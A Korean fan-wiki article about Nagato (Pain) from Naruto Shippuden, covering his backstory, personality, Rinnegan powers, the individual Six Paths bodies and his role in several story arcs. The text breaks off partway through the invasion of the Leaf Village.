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(2011년 11월) 나가토(長門) 또는 페인(ペイン)는 아카츠키(暁)와 비 마을(雨隠れの里)의 리더로, 질풍전 시리즈의 주조연이다. 아카츠키 멤버들에게는 "리더"라 불리지만, 파트너인 코난(小南)에게는 이름으로 불린다. 나가토는 아카츠키 멤버들에게 임무를 나눠주고 리더로써 그들의 행동들을 주관한다. 아카츠키 멤버들에게는 비밀로 토비[가짜 우치하 마다라(우치하 오비토)]와 협력하고 있었다. 목차 1 나가토의 배경 1.1 초대 아카츠키(暁) 2 모습 3 성격 4 능력 4.1 페인 육도(六道) 5 등장 5.1 질풍전 5.2 이타치 뒤쫓기 일주 5.3 츠지구모 일족 금술(禁術) 일주 5.4 페인의 나뭇잎마을 정복 5.5 닌자세계대전 일주 6 나가토의 유산 7 나가토의 탄생배경 8 나가토에 대한 일반 상식 나가토의 배경[편집] 우치하 마다라에 의거하면, 나가토는 우즈마키 일족(うずまき一族)의 자손이다. 제2차세계닌자대전(第二次忍界大戦) 일어났을 당시에는 나가토는 부모님과 비 마을 가까이에 살고있었다. 하루는 두명의 나뭇잎 닌자(木ノ葉の忍)들이 나가토의 집을 빈집이라 인식하고 음식을 찾기위해 침입했다. 나가토의 부모님은 자신들이 죽을것이라고 확신하고 그 두 닌자를 공격하고, 그 틈을 틈타 나가토를 도망치게 하려고 했다. 하지만 나뭇잎 닌자들은 나가토의 부모님을 적군닌자로 착각하여 살해한다. 그때 나가토는 부모님을 잃은 깊은 슬픔으로 처음으로 윤회안(輪廻眼)을 일으키고 동력으로 나뭇잎 닌자들을 살해한다. 성인이 되었을때 나가토는 이 사건을 자신의 첫 번째 비수같은 고통이라고 칭했다. 가족을 잃은 나가토는 문들을 두들이며 음식을 구걸하는 떠돌이 신세가 되었다. 그때 나가토는 "치비"라는 강아지를 만나고, 그 후에 코난과 야히코(弥彦)를 만난다. 하루는 한조와 지라이야 (나루토), 츠나데, 오로치마루 (이 대결 후, 나뭇잎 마을 전설의 3닌자로 칭해진다)가 싸우는 곳 주변을 우연히 걷다가 엄청 큰 폭발로 인해 셋은 다치고 치비는 죽는다. 나가토는 세상을 바꾸겠다고 결심한다. 전쟁이 끝나고 나가토, 코난, 야히코(비 마을 고아들)은 전설의 3닌자와 맞닥드린다. 그 만남 이후 지라이야는 비 마을 고아들과 남아 인술을 가르치게 된다. 지라이야와 같이 살게 된지 얼마 되지 않았을때, 나가토와 야히코는 공격스러운 바위마을(岩隠れの里) 닌자를 만난다. 나가토는 그때 다시한번 윤회안을 가동시켜 바위닌자를 죽이고 야히코를 지킨다. 코난의 말을 듣고 달려온 지라이야는 그때 나가토의 윤회안을 보고 그들에게 인술을 가르치기를 결심한다. 나가토는 바위닌자를 죽인것에 괴로워 하며 죄책감에 시달리며, 지라이야에게 코난과 야히코를 지킬수 있게 가르쳐 달라고 한다. 지라이야의 답은 나가토에게 "육도선인(六道仙人)의 눈을 가진 너는 나중에 크면 그 눈을 이용해 그 둘을 지키며 세상에 평화를 찾으면 된다"고 했다. 그리고 3년 후 지라이야는 그들이 자립할 수 있는걸 알때 나뭇잎마을로 돌아왔다. 초대 아카츠키(暁)[편집] 그 후 몇년간 비 마을 고아들의 위업들을 들은 지라이야는 후에 그들이 죽었다는 소식도 듣게된다. 사실은 나가토, 코난, 그리고 야히코는 평화를 찾기위해 한걸음씩 나아가기 시작한 것이었다. 그들은 야히코를 리더로하여 아카츠키를 결성했다. 아카츠키는 전쟁을 끝내고 싶다는 마음을 품은 실력있는 추종자들로 이루어져 있었다. 그러한 아카츠키를 경계하던 비 마을의 리더, 도롱뇽 한조(山椒魚の半蔵)는 나뭇잎 마을의 암부:뿌리(暗部:根)의 시무라 단조(志村ダンゾウ)와 합세하여 아카츠키를 무너뜨리려고 했다. 평화를 의논한다는 명목 하에 한조는 나가토와 야히코 그리고 코난을 매복지로 불러내었다. 그때에 한조는 나가토에게 야히코와 코난 둘중 한명을 선택하라고 협박했다. 나가토에게 선택을 강요하고 싶지 않았던 야히코는, 자의로 나가토가 들고있던 쿠나이로 돌진했다. 그때 야히코는 죽어가면서 나가토에게 꼭 살아남아서 지라이야가 말했던 것처럼, 이 세상의 구세주가 되라고 했다. 후에 나가토는 이것이 자신의 두 번째 비수같은 고통이라고 칭했다. 엄청난 충격을 받는 나가토는 코난을 구해내고, 야히코의 시체를 옆에 두고 한조의 부하들을 공격하기 시작했다. 그 때 나가토는 소환수:외도마상(口寄せ:外道外道)을 이용해 한조를 제외한 모든 인력들을 제거할 수 있었다. 하지만 그 인법은 나가토를 쇠약하게 만들고 등에는 수많은 차크라 수신기로 인해 거동불능의 상태가 되었다. 그는 그때 비 마을에 대한 충성을 고하며 자신의 비 마을 서클렛에 가운데에 가로로 직선의 줄을 그으며, 세상에 그의 고통을 가르치기로 마음먹었다. 그 후 야히코의 시체는 육도페인(ペイン六道)중 천도(天道)의 몸으로 쓰였고, 아카츠키의 리더로 만들었다. 육도페인을 소유하면서, 나가토는 비 마을의 반란군들을 이끌고 한조와 한조의 측근들을 다 죽임으로 인해 비 마을의 리더가 되었다. 모습[편집] 나가토는 피부가 희고 턱까지 오는 빨간머리(우즈마키 일족의 트레이드 마크)와, 나가토를 더욱 더 눈에 띄게하는 윤회안을 갖고있다. 어린 나가토는 머리가 눈을 항상 가리고있어서 보통의 눈은 보인적이 없다. 나가토는 장신의 성인이 되었지만, 외도마상 소환후에는 눈에 띄게 쇠약해지고 등에는 차크라 수신기를 꽂게됐다. 등을 제외하고 양어깨 관절과 팔뚝, 그리고 쇄골 밑에 스크류드라이버과 흡사한 두개의 차크라 수신기를 꽂고있다. 거행이 불편해진 나가토는 기계에 의존하고 있었는데, 그 기계는 자기방어를 위해 차크라를 방해하는 칼날을(사실상 차크라 수신기이다 지라이야를 무참히 살해한 전축생도 제외 5명이 쓴 무기들 역시 차크라 수신기를 날카롭게 만들어 창으로 사용한 것이다) 쏠수 있었다. 나가토는 유일하게 아카츠키 유니폼을 입지 않았던 구성원으로, 줄이 그어진 써클렛도 한조를 죽인 후에 쓰지 않았다. 하지만 여섯명 모두의 육도페인은 써클렛을 하고있었다. 차크라를 모두 소진시키면서까지 나뭇잎 마을 주민들을 모두 살리기 위해 나가토가 사용한 마지막 인술인 외도:윤회천생술(外道:輪廻天生の術)은 나가토의 빨간 머리를 백발로 만들었다. 제4차세계닌자대전(第四次忍界大戦)때에 카부토로 인해 부활했을 당시에는, 등에 있던 차크라 수신기를 제외하곤 죽을 당시와 동일한 모습으로 있었다. 하지만 버전 2 상태의 킬러B와 싸울때 빨아들인 차크라로 힘을 얻은 나가토는, 빨간 머리과 근육들을 다시 얻음으로 인해 초기 아카츠키 당시와 비슷한 모습으로 돌아왔다. 성격[편집] 나가토는 예민하지만, 착하고, 잘 울고, (자신의 친구를 살리는 일임에도 불구하고)살인에 대한 충격이 컸다. 겁이 많고, 세상에서의 자신의 위치가 불확실하다 생각했고, 자신이 소중하게 여기는 사람들을 지키고 싶었지만 방법을 알지 못했다. 나가토는 비 마을에서 "신의 천사"라 불리는 한결같이 코난을 존중하고 친절하게 대했다. 코난을 지키기 위해선, 지라이야와 코난과의 대결에서와 같이, 부탁받지 않아도 주저하지 않고 지켜줬다. 코난이 유일하게 나가토를 이름으로 부르는 구성원이었다. 나가토는 야히코를 향한 코난의 감정을 잘 알고 있기 때문에, 둘만의 시간을 주었다. 페인으로써의 나가토는 매우 달랐다. 아주 침착하고, 진지하며, 냉담하며 고립된 인간이었다. 나가토는 어릴때 경험했던 충격들과 아픔들이 고통과 아픔의 참 뜻이라 전하며 자신을 "신"이라 칭했다. 또한 자신이 모든 인간들보다 우월하다 믿었다. 나가토는 미래에 일어날 전쟁을 막기위해 죄책감 하나 없이 완전파괴를 하고 그로 인해 이 세상이 고통의 참 뜻을 깨닿길 원했다. 나중에 나가토는 자신의 계획을 위해 옛 선생이던 지라이야까지 죽이기에 이른다. 그리고 자신을 평화의 신이라고 칭하며 이 세상에 고통을 가져옮으로써 모든것들이 성숙해 지기를 원했다. 나가토는 야히코가 항상 말하던, 그 누구도 참 고통을 알지 못하면 참 평화도 모른다는 생각을 받아들인다. 나미카제 미나토는 우치하 마다라가 자신의 계획을 성사시키기 위해, 이 생각을 이용해 나가토를 조종했다고 했다. 애니메이션에서는, 나가토는 "고통"에 대해 얘기할때면 예민하게 그려졌다. 모리노 이비키가 특별소환수를 이용해 자신과 축생도의 고통을 연결시키는데, 그때 나가토는 축생도를 통해 그의 격노를 표현했다. 그는 이비키는 참 고통을 눈꼽만큼도 모른다고 칭하며 이비키를 맹렬히 공격했다. 하지만 이런성격과 동시에, 나가토는 특히 죽은 사람들에 대해 경의를 표하였다. 예를 들자면, 아카츠키 멤버들에게 서로 조금 더 좋은 관계를 지니도록 유도하였다. 그리고 데이다라가 죽었을때는 모두에게 묵념하라 이르고, 키사메가 히단과 카쿠즈를 "좀비콤비"라고 칭했을때는 그를 나무랐다. 육도를 이용해 지라이야를 죽였을 때에는 그의 옛 선생의 능력을 존중하며 묵념의 시간을 가졌다. 나뭇잎 마을이 나가토의 인생 속 비극들을 가져온 근원으로써 나뭇잎 마을에 대한 큰 반감심이 있었지만, 지라이야와 함께한 시간들로 인해 마음을 조금씩 고쳐먹었다. 하지만 여전히 나뭇잎 마을은 다른사람들에게 비극을 가져옮으로써 이익을 차지한다 생각해서, 나뭇잎 마을과 옛 선생님에 대한 증오가 더욱 더 커졌다. 부활 후의 나가토는, 근심과 걱정이 없었고 더 큰 온화함으로 농담까지 할 수 있는 성격을 갖고있었다. 또한 나루토를 향한 믿음 까지 더 강해져 있었으며, 우치하 이타치에게 말하기를, 나루토가 구미를 이기고 구미를 마음대로 조종할 수 있게 된것에는 놀랍지 않다고 했다, 왜냐하면 나루토 역시 자신의 옛 선생님에게 수련을 받았기 때문이다 라고 했다. 능력[편집] 그는 아카츠키의 리더이자 비 마을의 내전의 승리자로, 엄청난 힘을 가진 닌자였다. 그는 또한 아카츠키에서 가장 강력한 구성원으로 분류되었는데, 나가토의 나뭇잎 마을 공격당시엔 육도페인을 조종하고, 많은 인술을 쓴 후에도 선인모드의 나루토와 싸우고 점령당시 죽은 나뭇잎 마을의 모든 사람들을 살려낼수 있는 차크라를 갖고있었다. 코난의 의거하면, 페인은 무적으로, 싸움에서 한번도 진적이 없다고한다. 마다라 역시 지라이야의 능력에 감탄하면서 나가토의 그런 능력을 거론할 정도였다. 나가토는 육도페인을 사용함으로 인해 지라이야를 손쉽게 이겼다. 지라이야와의 대결 후 나가토는, 만약 그가 육도페인을 소유하지 않고, 지라이야의 환법방법을 알지못함과 동시에, 지라이야가 육도페인의 비밀을 알았다면 자신은 이기지 못했을것이라 말했다. 제츠는 나가토가 모든 차크라를 소진한체 죽었다는 사실에 경악을 금치 못했다. 야쿠시 카부토의 소환술:예토전생(口寄せ:穢土転生)로 인해 부활 했을때는, 나루토와 킬러B를 손쉽게 제압하고 죽이기 바로 직전까지 이른다. 하지만 우치하 이타치의 방해로 인해 실패하고, 그들 셋과 대결하기에 이른다. 나가토도 우즈마키 일족의 한 사람으로써 믿을수 없을만큼 장수할 수 있는 가능성이 있었다. 나가토의 다리는 예전에 매복지에서의 한조의 화둔 술법(기폭찰을 감아 터뜨리는 기술)에 당한 탓에 많이 손상되어있었다. 그래서 혼자의 힘으로 서 있을수는 있었으나 빨리 움직일수는 없었다. 거기에 외도마상 소환과 외도마상 에서 나온 차크라 수신기 때문에 피골이 상접한 몰골이되었다 그러한 이유로 그를대신할 육도페인을 만들어 조종했다. 부활 후엔 소환술을 이용해 움직이고 상대의 공격이 닿지 않을곳으로 피할 수 있었다. 윤회안 나가토의 엄청난 힘의 근원은 그의 혈계한계인 전설의 윤회안에서 온다고 할 수 있다. 이 혈계한계는 세계의 첫 닌자이자 현대의 인술의 창시자인 육도선인의 것으로 전해진다. 지라이야에 의하면, 나가토는 10세에 세상에 존재하는 모든 인술을 다 깨우쳤고, 유일하게 여섯개 모두의 자연기변환능력을 소유하고 있는 사람이다. 이비키에 의하면 윤회안은 나가토가 원하는 인술을 구사할 수 있게 해준다고 하였다. 나가토는 환술에 능숙하고, 자신의 부하들이 갖고있는 비밀정보를 흘리지 않게 위해 함정과 장벽을 그들의 머릿속 안에 설치하였다. 또 윤회안은 다른 모든 동술들의 능력과 같이 다른 닌자들의 차크라의 위치를 볼수있다. 페인 육도(六道)[편집] 육도란, 불교의 윤회의 한 부분인 삼계육도중 욕계(欲界)에 속한 세계를 뜻한다. 그 세계는 천도(天道),수라도(修羅道),인간도(人間道),축생도(畜生道),아귀도(餓鬼道), 그리고 지옥도(地獄道)로 분류되는데, 페인의 여섯 신체들은 각각 육도의 이름을 갖고있다. 육도 페인의 공통점은 밝은 주황색의 머리색깔과 윤회안이다(수라도는 대머리다). 각각의 페인들은 얼굴과 몸의 수십개의 피어싱을 하고있는데, 그 피어싱들의 모양, 사이즈, 그리고 장착 패턴은 모두 달랐다. 그들은 소환술, 인술 흡수, 생각 읽기 등 모두 다른 능력을 갖고있었다. 나가토 자신은 일곱번째 페인인 외도(外道)로, 살아있는 모든것들의 생명과 죽음에 대해 제어력이 있었다. 페인들은 모두 시야를 공유 하므로 앞뒤로 포위 됐다고 둘중 하나의 뒤로 가서 공격 하는건 통하지 않는다 시야를 공유 하므로 손바닥 뒤집듯이 피하면 그만, 따라서 후카사쿠는 페인을 상대할때 한번에 한명씩상대하는 것이 제일 알맞은 공격 방법이라고 했다. 코난이 말했듯이, 나가토는 윤회안의 힘으로 육도페인의 모든 능력들을 쓸수있는 능력이 있었다. 이것은 후에 카부토에 의해 부활했을때 증명되었다. 육도페인의 모든 능력을 본체에 다 갖고있는 부활 한 나가토는 무적의 상대였다. 그는 다수의 페인들의 능력들을 동시에 구사할 수도 있었으며, 나루토는 본체를 사용하는 나가토의 술법들의 힘과 속도는 훨씬 더 강력했다고 했다. 킬러B와의 대결 중에는 아귀도의 능력인 흡수술을 이용하여 2단계의 킬러B의 차크라를 흡수할 수 있었다. 참고로 육도 페인의 대사는 나가토의 담당 성우가 맡고있다 다만 나가토 본체와는 달리 냉정하고 차가운 톤이다 두 번째 축생도는 한국판의 경우 김율이라는 성우가 담당하게 되었다 페인 수라도(修羅道)는 몸 내부가 각종 살인 기계들로 채워져 있으며, 이 기계들로 공격한다.실상 매인 사용 무기는 유도 미사일뿐 3개의 얼굴이 돌아감에 따라 무기가 교체되며 6명의 페인 중 선봉. 간단한 칼부터 미사일까지 별의별 무기들이 장착돼 있다. 지라이야의 팔을 잘라버린 녀석. 츠나데 공격 직전에 선인모드의 나루토가 날린 나선환(螺旋丸)한방에 황천길로 간다. 힘이 매우 샌데 여성체로 바뀐 축생도를 엄청난 속도로 집어 던지는 괴력을 보여준다 육도 윤회에서 수라는 전쟁과 폭력으로 생존하는 세계다. 아수라는 수라세계의 우두머리다. 카카시와 전투시 때처럼 양쪽 뺨에 얼굴이 하나씩 자라나고 팔이 6개가 되는등 기괴한 신체 변형이 가능하다 대머리인데 서클렛 위쪽 부분의 피부가 5등분으로 조각 나면서 열리면 파괴용 레이저빔 발사 장치가 등장한다. 주요 공격법은 오른손을 비틀어 당겨서 그속에 장치된 미사일을 꺼내 공격 하는 것이다 닌자 세계에 미사일이 존재 하는 것 자체가 말이 안되는 설정 카카시에게 처참하게 당해 거의 박살난후에도 마지막 힘을 짜내 등에 감춰진 거대 미사일을 쵸지에게 날린다. 육도 페인중 가장 말이 없는 두명 중 하나다.(수라도와 아귀도가 제일 말이 없다)수라도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 만난 꼭두각시 술사다(지라이야 인법천참조) 수라도의 얼굴은 하얀색에 대머리이며 얼굴의 차크라 수신기는 턱에 큰 사이즈1개 코에 문손잡이 모양1개 뺨에 작은 사이즈 수신기가 2개씩 4개 서클렛 위쪽의 머리에 뿔모양의 수신기가 다수가 박혀있다 페인 아귀도(餓鬼道)는 모든 인술을 흡수하는 능력을 갖고 있다. 방어형으로 인술의 능력과 크기를 모두 무시하고 흡수한다. 체술(対術)공격에 약하다. 대규모공격은 흰색깔의 돔 같은것을 둘러 흡수한다 육도 페인중 가장 말이 없는 두명 중 하나다 육도윤회에서 아귀는 배는 태산만한데 목구멍은 바늘구멍 크기라 먹지를 못해 항상 목마름과 배고픔에 시달리는 세계다. 나루토의 차크라를 흡수하던 중 자연 에너지를 지나치게 흡수하여 두꺼비 석상이 되어 죽는다. 아귀도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 술집에서 만난 두닌자중 하나다 풀마을 출신이다 농사지어 힘들게 번 돈을 도박으로 날린사내(지라이야 인법천참조) 아귀도는 올백으로 넘긴 주황색 머리에 양쪽 귀에 안테나 모양 수신기 1개씩 뺨에 뿔모양의 중형수신기를 양쪽에 1개씩 코에 수신기 2개 아랫 입술에 역삼각형 모양 수신기 5개를 박고있다 페인 인간도(人間道)는 희생자의 머리에 손을 대고 그의 두뇌에 있는 모든 정보를 단숨에 읽어낼 수 있는 능력을 가졌으며, 희생자의 혼백을 뽑아낼 수도 있다. 감지능력도 무효화한다. 선인모드 지라이야의 돌려차기에 얻어맞아 눈이 퉁퉁 부어 능력 사용을 못한 페인 활약상이 적어 육도페인중 약체로 평가되나 나뭇잎 마을 침공 당시 암부조차도 모르게 접근해 시즈네를 북망산으로 보내버렸다. 나루토의 풍둔:나선수리검(風遁:螺旋手裏剣)에게서 축생도를 구해내고 세포 분해되어 사망 인간도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 술집에서 만난 두닌자중 하나다 폭포마을 출신(지라이야 인법천참조) 인간도는 장발의 주황색 머리칼에 뺨에 작은 사이즈의 수신기를 양쪽에 2개씩 턱에도 작은사이즈 수신기 2개 코에 사선으로기울어진 수신기를 2개를 박고있다 페인 지옥도(地獄道)는 희생자의 목을 잡은 뒤 자신의 뒤에 지옥의 왕을 소환할 수 있으며, 지옥의 왕이 희생자의 혼백을 강제로 가져가버리게 할 수 있는 능력을 갖고 있으며 죽은 페인을 살릴 수 있다. 상대의 말이 진실인지 거짓인지를 판별할 수 있다. 거짓이면 죽여 버린다. 진실과 거짓을 판별하는 법은 우선 지옥의 왕을 소환후 질문을 한다 예를 들어 "우즈마키 나루토는 지금 이 마을에 있는거냐 없는거냐 어느쪽이냐?" 식으로 묻는다 희생자가 대답을 하면 희생자의 입에서 혀같은것이 길게 나오며 지옥의 왕이 손가락이 달린 혀로 그것을 잡는다 그리고 지옥도가 "그럼 판결을 내리겠다" 라고 하면 지옥의 왕이 희생자가 거짓을 말했을 경우 그 혀같은것을 뽑아버려 죽인다. 거짓말이 아니면 죽지않는다. 인술과 체술엔 약하다. 다만, 자신을 방어할정도의 간단한 체술은 구사가능 그래봐야 단순한 격투 기술에 지나지 않지만, 전투시 후방에서 전투불능 또는 사망한 페인을 살려주는 힐러이며, 지옥도가 살아있는 한 어떤 페인을 죽여도 다 살아나기에 나루토의 분석 결과 제일 먼저 죽여야 되는 페인이다. 사망한 페인을 살리는 법은 지옥의 왕을 불러낸후 지옥의 왕이 손가락이 달린 혀로 죽거나 중상을 입은 페인을 잡아 입안에 넣고 씹는 동작을 몇번하고 입을 벌리면 들어갔던 페인이 회복되거나 살아나온다. 지옥의 왕도 윤회안을 가지고 있다. 육도윤회에서 지옥은 가장 고통 받는 곳이다. 불교에선 팔열지옥 팔한지옥 등 수십 개의 지옥이 존재한다고 한다. 코노하마루의 나선환에 의해 쓰러지나 치명적이지 않았고 나루토의 나선간환에 의해 죽는다 지옥도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 사람들을 모아놓고 연설하던 사내다(지라이야 인법천 참조)지옥도는 천도보다 조금 더긴 뾰족뾰족한 주황색 머리칼에 눈사이에 작은 수신기 1개 뺨의 여덟팔자 주름을 따라 양쪽에3개씩6개의수신기 아귀도처럼 귀에 안테나 모양 수신기를달고있다 다만 양쪽 귀에 1개씩 단 아귀도와 달리 양쪽귀에 3개씩 6개를 달고 있다 페인 천도(天道)는 인력과 척력을 조종할 수 있는 능력을 가졌다. 척력으로 일미의 수학(一尾の守鶴)과 만화경 사륜안의 스사노오(須佐能乎)를 능가하는 절대 방어를 구사하며 지폭천성(地爆天星) 신라천정(神羅天征) 술법을 구사한다. 상대를 튕겨내는 신라천정은 최소 5초의 연속 공격시간을 가진다 규모가 클수록 다음 공격을 할때 까지의 쿨타임이 엄청 길어진다. 규모가 커지면 나뭇잎 마을 하나 정도는 무리없이 파괴한다. 또한 상대를 당기는 만상천인(万象天引)이있다. 그리고 비를 조종할 수 있다. 여섯 페인 중 최다수로 등장한다. 나루토의 환영분신 연계 나선환에 의해 사망한다. 육도 윤회에서 천은 하늘나라의 신적인 존재다. 육도 페인중 가장 말이 많다. 아마도 나가토가 친구였던 야히코의 시체로 만든게 천도라 정이 가서 그런지 천도를 통해 할말을 다한다. 육도중 가장 강력체다.천도의 몸은 다른 페인과 달리 소중히 다뤄졌으며 천도를 지키키 위해 다른 페인들을 희생 시켰다 천도의 시체는 나가코와 코난의 친구이자 지라이야의 최초 제자중 하나인 야히코다 천도는 천상도라고도 불린다 천도는 야히코의 생전 머리칼과 같은 머리칼을 하고 있다 다른 페인의 머리칼이 밝은 주황색인것도 천도와 통일성을 주려고 그런건지도 코에 좌우 대칭형으로 6개의 수신기를 양쪽 귀에 막대 모양 수신기 1개와 귀걸이 모양 수신기를 6개 달고 있다 페인 축생도(畜生道)는 각종 소환수를 소환하는 능력을 갖고 있다. 지라이야와 결투당시의 축생도와 나뭇잎 마을 침공 당시의 축생도는 다른 모습인데 결투에서 죽은뒤 시체를 찾지못한 축생도를 대신해 나가토가 생사의 술법으로 여자의 시체로 새로운 축생도를 만들었다. 가마분타(ガマブン太)의 입속에서 나루토의 나선간환에 맞아 죽는다. 축생은 죄를 지은 자가 짐승으로 태어나는 세계다. 공격용 방어용 소환수를 불러내며 공격용은 가마분타급의 공격력을,방어용은 모래의 수학급의 방어력을 자랑한다 모든 소환수에겐 차크라 수신기와 윤회안이있다. 전(前) 축생도의 시체는 지라이야가 왕 두꺼비 선인의 예언에 따라 세상을 바꿀 변혁자를 찾아 여행을 하던 도중 단지 적이 숨어 있을거란 이유로 마을 하나를 통째로 날려 버린 후우마 일족의 닌자다 이후 지라이야와 후우마 닌자와의 결투장면과 대사는 후일 지라이야가쓴 책 근성 닌자전에 그대로 들어가 있다(지라이야 인법천참조)후(後)축생도는 지라이야에 의해 사망하여 빼앗긴 후우마 일족 닌자 시체로 만든 축생도를 대신하여 지라이야가 비마을 잡입당시 마추친 2명의 비마을 하급닌자가 운반해 온 여자의 시체로 만들었다 후축생도의 한국판 목소리는 김율이라는 성우가 담담했다 전축생도는 조황색포니테일머리에 미간에 1개 양 뺨에 1개 귀에 귀걸이 모양으로 1개씩 턱선을 따라 6개의 수신기를 박고 있었다 뺨의 수신기는 가는 선으로 코에 연결되어 있다 후축생도는 주황색 단발 머리에 정수리 부분을 귀엽게 묶고 있으며 코에 1개 양 뺨에 직선으로 3개의 수신기를 달고 있다 등장[편집] 질풍전[편집] 페인은 질풍전에서 홀로그램으로 아카츠키 모임에 자주 등장했다. 그는 아카츠키의 리더로써, 미수(尾獸)를 봉인할때 흩어져 있는 멤버들을 모았다. 질풍전의 에피소드가 더해갈수록 얼굴의 부분 부분을 비추기 시작하면서, 코난의 전신이 나올때 함께 나왔다. 이타치 뒤쫓기 일주[편집] 나가토의 옛 스승인 지라이야는 개구리를 이용해 비 마을에 잠입한다. 지라이야가 개구리 속에서 완전히 나왔을때, 나가토는 비를 방해하는 무언가를 느꼈다. 나가토는 코난에게 침입자를 수색하라는 명령을 내리고 비를 그치게 했다. 코난이 수십개의 종이나비로 변신해 수색하러 갔을때, 나가토는 천도를 축생도로 바꾼다음 지라이야 수색에 나섰다. 지라이야는 금세 비 마을 닌자의 몸 안에 숨고 비 마을을 깊게 수색하기 시작하는데 코난에게 잡힌다. 지라이야는 비 마을 닌자의 그림자 에서 나오고 코난과 대결을 하기 시작하지만, 기름공격으로 코난을 뒤덮어 버린다. 그때 나가토가 코난을 구하기 위해 소환수를 이용해 코난의 몸에 묻은 기름을 다 씻어낸다. 그 후에 카멜레온을 소환해 위장술을 쓴다. 지라이야는 결계·천개법진(結界・天蓋法陣)을 이용해 돔 형식의 방어막과 소환법을 이용해 가마켄(ガマケン)을 소환한다. 그와 동시에 나가토도 소환술을 쓰는데, 이번에는 머리가 여러개 달린 개를 부른다. 지라이야는 그 소환수과 싸우는데, 소환수는 재생능력을 갖고있으며, 거의 모든 가마켄의 공격을 피하하여, 힘들게 위치를 유지한다. 하지만 지라이야가 나가토의 개들을 두꺼비의 뱃속에 가두어 둠으로 인해 소화시켜버린다. 나가토는 이번에는 새를 소환하였는데, 그 새는 지라이야를 따라다니며 공격했지만, 결국엔 타 죽어 버린다. 또 다른 동물을 소환한 나가토의 소환수 코뿔소도 또한 가마켄에게 처치되었다. 나가토는 마지막으로 거대황소를 소환하는데, 그때에 지라이야의 방어막이 사라지면서 황소를 날려버린다. 나가토가 소완한 모든 소환수들을 상대한 지라이야는 선인모드를 작동시키며 후카사쿠(フカサク)와 시마(シマ)를 소환하며 나가토의 카멜레온도 죽이는데, 그와 동시에 숨어있던 축생도를 찾아낸다. 그 후 아귀도와 인간도가 지라이야를 상대하기 위해 소환된다. 인간도는 지라이야에게 머리를 맞은후 앞을 볼수 없게 되지만, 지라이야를 죽이려고 힘쓴다. 그 다름 지라이야는 아귀도, 인간도, 그리고 축생도를 선법:고우위문(고에몬)(仙法:五右衛門)을 이용해 다 타버리게 하려 했지만, 지라이야의 선법은 아귀도에게 흡수되어 버린다. 그 후 지라이야는 대옥나선환(大玉螺旋丸)을 쓰지만, 이것 역시 흡수되어 버린다. 그 다음엔 인간도가 공격을 시작하고, 축생도는 두꺼비들로 인해 방해를 받는다. 그 후 지라이야가 선법:천개의 털 바늘(모침 천본)(仙法:毛針千本)을 이용해 공격을 한다. 하지만 축생도가 거대판다를 소환하여 공격을 막았다. 지라이야는 그들의 공격을 간파하고 파이프 안으로 들어가 탈출한다. 파이프에 있을때는 윤회안의 빈틈을 찾기위해 환법(幻法)을 쓴다. 세 페인들은 지라이야를 쫓지만, 지라이야의 환법에 걸린후 죽임을 당한다. 하지만 지라이야가 떠나면서 방심한 찰나에 페인에게 공격을 당하게 된다. 죽었던 페인들은 지옥도의 능력으로 인해 다시 살아난다. 나중에 지라이야는 축생도를 죽이지만, 후에 페인들에게 처참하게 살해당한다. 지라이야의 시체는 바닷속 깊은곳으로 떨어지고, 나가토는 옛 스승에게 경의를 표하며 짧은 묵념의 시간은 가진다. 츠지구모 일족 금술(禁術) 일주[편집] 애니메이션에서 나가토가 축생도의 새로운 몸을 구하고 난 후, 안개마을의 탈주닌자인 우타카타(ウタカタ)속에 있는 육미(六尾)를 잡는 임무를 맡았다. 육미를 수색하는 도중에, 축생도는 머리가 여러개 달린 개를 소환해 츠구리가 이끄는 안개마을의 추적닌자 무리를 발견하고 죽인다. 우타카타가 츠쿠리와 그의 무리들에게 자신을 포위하라 하려했지만, 페인을 찾았다. 페인은 우타카타에게 우타카타의 육미가 페인의 이상의 세상을 만들기 위해 필요하다고 설명하며 우타카타를 포획해 데려갔다. 페인의 나뭇잎마을 정복[편집] 구미(九尾)와 팔미(八尾)를 남겨두고, 페인과 코난은 나뭇잎 마을에 도착한다. 도착하자 마자 마을 경계를 지키는 수비닌자들 제거하고나서, 두 팀으로 나누어서 나뭇잎 마을에 침입한다. 나가토는 수라도, 아귀도, 그리고 축생도를 양동 팀으로 나누어 닌자들을 유린하게 만들고, 천도, 인간도, 지옥도, 그리고 코난을 수색팀으로 나누어 나루토를 찾는다. 여섯의 페인들은 임무를 따르며 나뭇잎 마을을 파괴하는데, 그중에 천도는 하타케 카카시와 맞딱뜨린다. 수라도가 천도를 보조해주며 카카시의 동료들돠 싸우지만, 수라도는 파괴되었다. 나뭇잎 마을 안에서는 남은 페인들은 나뭇잎 닌자들에 맞서며 자신의 임무에 힘을 다하고 있었다. 천도는 5대 호카게 츠나데에게 찾아가 나루토의 위치를 묻는다. 하지만 츠나데는 거절한다. 다른 곳에서는 인간도는 자신특유의 심문능력을 이용해 시즈네의 마음을 읽어 나루토가 묘목산에 있다는걸 알아낸다. 그 즉시 모든 페인은 나뭇잎 마을을 벗어나고, 천도는 츠나데에게 나뭇잎 마을은 고통에 무지하기 때문에 고통을 가르쳐 주겠다고 한다. "고통을 느껴라, 고통을 생각해라, 고통을 납득해라라, 고통을 알아라. 고통을 알지 못하면 참 평화도 알지 못한다"(「痛みを感じろ痛みを考えろ痛みを受け取れ痛みを知れ痛みを知らぬものに本当の平和分からん」)라는 말과 함께 신라천정(神羅天征)을 사용하여 나뭇잎 마을을 초토화 시킨다. 인법이 끝나고 연기가 가라앉을 때 즈음에 천도는 나루토가 세 마리의 두꺼비들과 돌아온것을 확인한다. 초토화 돼버린 자신의 마을을 본 나루토는, 보복으로 츠나데를 공격 하려하는 다시 살아난 수라도를 나선환으로 한방에 박살내 버린 후, 남은 페인들을 상대한다. 축생도는 나루토와 싸우기 위해 소환수들을 부르고, 나루토의 두꺼비들은 페인의 소환수들과 싸우고 나투로는 두꺼비 대련술로 아귀도를 죽인다. 그 다음, 나루토는 풍둔:나선수리검(風遁:螺旋手裏剣)을 이용해 인간도를 세포 분해후, 가마분타(ガマブン太)와 협력해 축생도를 상대해 승리한다. 넷의 페인이 죽은 후 남은 천도는 지옥도를 지킨다. 지옥도는 바로 아귀도를 살려내었다. 